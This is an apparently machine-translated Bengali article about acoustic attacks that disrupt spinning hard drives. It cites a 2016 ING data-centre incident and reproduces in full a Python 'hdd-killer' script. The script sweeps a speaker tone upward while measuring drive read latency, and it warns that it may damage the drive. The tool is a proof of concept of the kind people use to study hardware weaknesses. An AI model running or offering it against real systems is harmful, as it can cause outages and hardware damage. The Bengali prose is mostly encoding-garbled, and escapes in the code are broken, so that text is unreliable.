āĻ…āĻĒāĻ°āĻŋāĻŦāĻ°ā§āĻ¤āĻ¨ā§€āĻ¯āĻŧ āĻ•ā§āĻˇāĻ¤āĻŋāĻ° āĻ¸āĻŽā§āĻŽā§āĻ–ā§€āĻ¨ āĻšāĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĨ¤

āĻ•ā§‡āĻ¨ āĻ†āĻĒāĻ¨āĻŋ āĻ†āĻĒāĻ¨āĻžāĻ° HDD āĻ āĻšāĻŋā§ŽāĻ•āĻžāĻ° āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°āĻŦā§‡āĻ¨ āĻ¨āĻž
āĻ˛āĻŋāĻ¨āĻžāĻ•ā§āĻ¸ āĻ•āĻžāĻ°ā§āĻ¨ā§‡āĻ˛ āĻāĻĄāĻŋāĻĢāĻžāĻ¯āĻŧāĻžāĻ° r120u āĻ‡āĻ‰āĻāĻ¸āĻŦāĻŋ āĻ¸ā§āĻĒāĻŋāĻ•āĻžāĻ°ā§‡āĻ° āĻŽāĻžāĻ§ā§āĻ¯āĻŽā§‡ āĻ…āĻ¨ā§āĻ°āĻŖāĻŋāĻ¤ āĻĢā§āĻ°āĻŋāĻ•ā§‹āĻ¯āĻŧā§‡āĻ¨ā§āĻ¸āĻŋāĻ¤ā§‡ āĻļāĻŦā§āĻĻ āĻ¸āĻ°āĻŦāĻ°āĻžāĻš āĻ•āĻ°āĻžāĻ° 19 āĻ¸ā§‡āĻ•ā§‡āĻ¨ā§āĻĄ āĻĒāĻ°ā§‡ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­āĻŸāĻŋ āĻŦāĻ¨ā§āĻ§ āĻ•āĻ°ā§‡ āĻĻā§‡āĻ¯āĻŧāĨ¤ āĻ¸ā§āĻĒāĻŋāĻ•āĻžāĻ°āĻŸāĻŋ āĻļāĻ•ā§āĻ¤āĻŋāĻ° āĻĒā§āĻ°āĻžāĻ¯āĻŧ āĻāĻ• āĻšāĻ¤ā§āĻ°ā§āĻĨāĻžāĻ‚āĻļ (100 āĻŽā§‡āĻ—āĻžāĻ“āĻ¯āĻŧāĻžāĻŸā§‡āĻ° āĻ•āĻŽ) āĻ āĻšāĻžāĻ˛ā§ āĻ•āĻ°āĻž āĻšāĻ¯āĻŧ āĻāĻŦāĻ‚ āĻ•āĻŽā§āĻĒāĻ¨ āĻŦāĻžāĻĄāĻŧāĻžāĻ¨ā§‹āĻ° āĻœāĻ¨ā§āĻ¯ āĻŸā§‡āĻŦāĻŋāĻ˛ā§‡ āĻ˛āĻ•ā§āĻˇā§āĻ¯ āĻ•āĻ°ā§‡ HDD āĻĨā§‡āĻ•ā§‡ 20 āĻ¸ā§‡āĻŽāĻŋ āĻĻā§‚āĻ°ā§‡ āĻ…āĻŦāĻ¸ā§āĻĨāĻŋāĻ¤āĨ¤ āĻĨā§‡āĻ•ā§‡ āĻĢā§āĻ°ā§‡āĻŽ āĻ­āĻŋāĻĄāĻŋāĻ“ HDD āĻšāĻ¤ā§āĻ¯āĻžāĻ•āĻžāĻ°ā§€āĻ° āĻāĻ•āĻŸāĻŋ āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻ¨ā§‡āĻ° āĻ¸āĻžāĻĨā§‡

āĻāĻŸāĻž āĻ•ā§ŒāĻ¤ā§‚āĻšāĻ˛āĻœāĻ¨āĻ• āĻ¯ā§‡ HDD-āĻ¤ā§‡ āĻāĻ‡ āĻ§āĻ°āĻ¨ā§‡āĻ° "āĻ†āĻ•ā§āĻ°āĻŽāĻŖ" āĻ•āĻ–āĻ¨āĻ“ āĻ•āĻ–āĻ¨āĻ“ āĻĻā§ˆāĻ¨āĻ¨ā§āĻĻāĻŋāĻ¨ āĻœā§€āĻŦāĻ¨ā§‡ āĻĻā§āĻ°ā§āĻ˜āĻŸāĻ¨āĻžāĻ•ā§āĻ°āĻŽā§‡ āĻ˜āĻŸā§‡āĨ¤ āĻ‰āĻĻāĻžāĻšāĻ°āĻŖ āĻ¸ā§āĻŦāĻ°ā§‚āĻĒ, 2016 āĻ¸āĻžāĻ˛ā§‡āĻ° āĻ¸ā§‡āĻĒā§āĻŸā§‡āĻŽā§āĻŦāĻ°ā§‡, ING āĻŦā§āĻ¯āĻžāĻ™ā§āĻ• āĻĄā§‡āĻŸāĻž āĻ¸ā§‡āĻ¨ā§āĻŸāĻžāĻ° āĻāĻ•āĻŸāĻŋ āĻĢāĻžāĻ¯āĻŧāĻžāĻ° āĻĄā§āĻ°āĻŋāĻ˛ā§‡āĻ° āĻĒāĻ°ā§‡ 10 āĻ˜āĻ¨ā§āĻŸāĻžāĻ° āĻœāĻ¨ā§āĻ¯ āĻ…āĻĒāĻžāĻ°ā§‡āĻļāĻ¨ āĻ¸ā§āĻĨāĻ—āĻŋāĻ¤ āĻ•āĻ°āĻ¤ā§‡ āĻŦāĻžāĻ§ā§āĻ¯ āĻšāĻ¯āĻŧā§‡āĻ›āĻŋāĻ˛āĨ¤ āĻ•āĻ¯āĻŧā§‡āĻ• āĻĄāĻœāĻ¨ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ āĻŦā§āĻ¯āĻ°ā§āĻĨ āĻšāĻ¯āĻŧā§‡āĻ›ā§‡ āĻ‰āĻšā§āĻš āĻšāĻžāĻĒā§‡ āĻ¸āĻŋāĻ˛āĻŋāĻ¨ā§āĻĄāĻžāĻ° āĻĨā§‡āĻ•ā§‡ āĻ¨āĻŋāĻˇā§āĻ•ā§āĻ°āĻŋāĻ¯āĻŧ āĻ—ā§āĻ¯āĻžāĻ¸ā§‡āĻ° āĻŦāĻŋāĻ•āĻŸ āĻļāĻŦā§āĻĻā§‡āĻ° āĻ•āĻžāĻ°āĻŖā§‡āĨ¤ āĻļāĻŦā§āĻĻāĻŸāĻŋ āĻ–ā§āĻŦ āĻœā§‹āĻ°ā§‡ āĻ›āĻŋāĻ˛ (130 āĻĄāĻŋāĻŦāĻŋ-āĻ° āĻŦā§‡āĻļāĻŋ), āĻ¤āĻŦā§‡ āĻ†āĻĒāĻ¨āĻŋ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ā§‡ āĻšāĻŋā§ŽāĻ•āĻžāĻ°āĻ“ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°āĻŦā§‡āĻ¨ āĻ¨āĻž - āĻāĻŸāĻŋ HDD āĻ…ā§āĻ¯āĻžāĻ•ā§āĻ¸ā§‡āĻ¸ā§‡ āĻŦāĻŋāĻ˛āĻŽā§āĻŦ āĻŦāĻžāĻĄāĻŧāĻžāĻ¯āĻŧāĨ¤

āĻāĻ•āĻŸāĻŋ āĻĄā§‡āĻŸāĻž āĻ¸ā§‡āĻ¨ā§āĻŸāĻžāĻ°ā§‡ āĻšāĻžāĻ°ā§āĻĄ āĻĄā§āĻ°āĻžāĻ‡āĻ­ā§‡ āĻŽāĻžāĻ¨ā§āĻˇā§‡āĻ° āĻšāĻŋā§ŽāĻ•āĻžāĻ°ā§‡āĻ° āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻ¨āĨ¤ āĻ˛ā§‡āĻŸā§‡āĻ¨ā§āĻ¸āĻŋ āĻĒāĻ°āĻŋāĻŽāĻžāĻĒ


āĻ…āĻ¨ā§āĻ°āĻŖāĻŋāĻ¤ āĻļāĻŦā§āĻĻ āĻ¤ā§ˆāĻ°āĻŋ āĻ•āĻ°āĻžāĻ° āĻœāĻ¨ā§āĻ¯, āĻ†āĻ˛āĻĢā§āĻ°ā§‡āĻĄā§‹ āĻ“āĻ°ā§āĻ¤ā§‡āĻ—āĻž āĻāĻ•āĻŸāĻŋ āĻĒāĻžāĻ‡āĻĨāĻ¨ āĻ¸ā§āĻ•ā§āĻ°āĻŋāĻĒā§āĻŸ āĻ˛āĻŋāĻ–ā§‡āĻ›āĻŋāĻ˛ā§‡āĻ¨ hdd-āĻšāĻ¤ā§āĻ¯āĻžāĻ•āĻžāĻ°ā§€ (āĻ­āĻŋāĻĄāĻŋāĻ“ āĻĒā§āĻ°āĻĻāĻ°ā§āĻļāĻ¨).

HDD āĻšāĻ¤ā§āĻ¯āĻžāĻ•āĻžāĻ°ā§€ āĻ¸ā§āĻ•ā§āĻ°āĻŋāĻĒā§āĻŸ āĻāĻŸāĻŋ āĻŦā§‡āĻļ āĻ›ā§‹āĻŸ, āĻ¤āĻžāĻ‡ āĻ†āĻĒāĻ¨āĻŋ āĻāĻŸāĻŋ āĻ¸āĻŽā§āĻĒā§‚āĻ°ā§āĻŖāĻ°ā§‚āĻĒā§‡ āĻāĻ–āĻžāĻ¨ā§‡ āĻĒā§āĻ°āĻ•āĻžāĻļ āĻ•āĻ°āĻ¤ā§‡ āĻĒāĻžāĻ°ā§‡āĻ¨āĨ¤

"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""

import pyaudio
import time
import sys
import math
import random

RATE=48000
FREQ=50

# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
    print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
	  "The disk will be opened as read-only.n" + 
          "Warning: It might cause damage to HDD.n" +
          "Usage: %s /dev/sdX" % sys.argv[0]
    sys.exit(-1)

# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ

# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
    global x1,FREQ,NEWFREQ
    data=''
    sample=0
    for x in xrange(frame_count):
        oldsample=sample
        sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
        data = data+sample
        # continous frequency change
        if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
                FREQ=NEWFREQ
                x1=0
        x1+=1
    return (data, pyaudio.paContinue)

# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
                channels=1,
                rate=RATE,
                output=True,
                stream_callback=callback)

# start the stream (4)
stream.start_stream()

# wait for stream to finish (5)
while stream.is_active():
    timeprom=0
    c=file(sys.argv[1])
    for i in xrange(20):
        a=time.clock()
        c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
        c.read(51200)
        b=time.clock()
        timeprom+=b-a
    c.close()
    timeprom/=20
    print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
    NEWFREQ+=0.5

# stop stream (6)
stream.stop_stream()
stream.close()

# close PyAudio (7)
p.terminate()

āĻ‰āĻ¤ā§āĻ¸: www.habr.com

āĻāĻ•āĻŸāĻŋ āĻŽāĻ¨ā§āĻ¤āĻŦā§āĻ¯ āĻœā§āĻĄāĻŧā§āĻ¨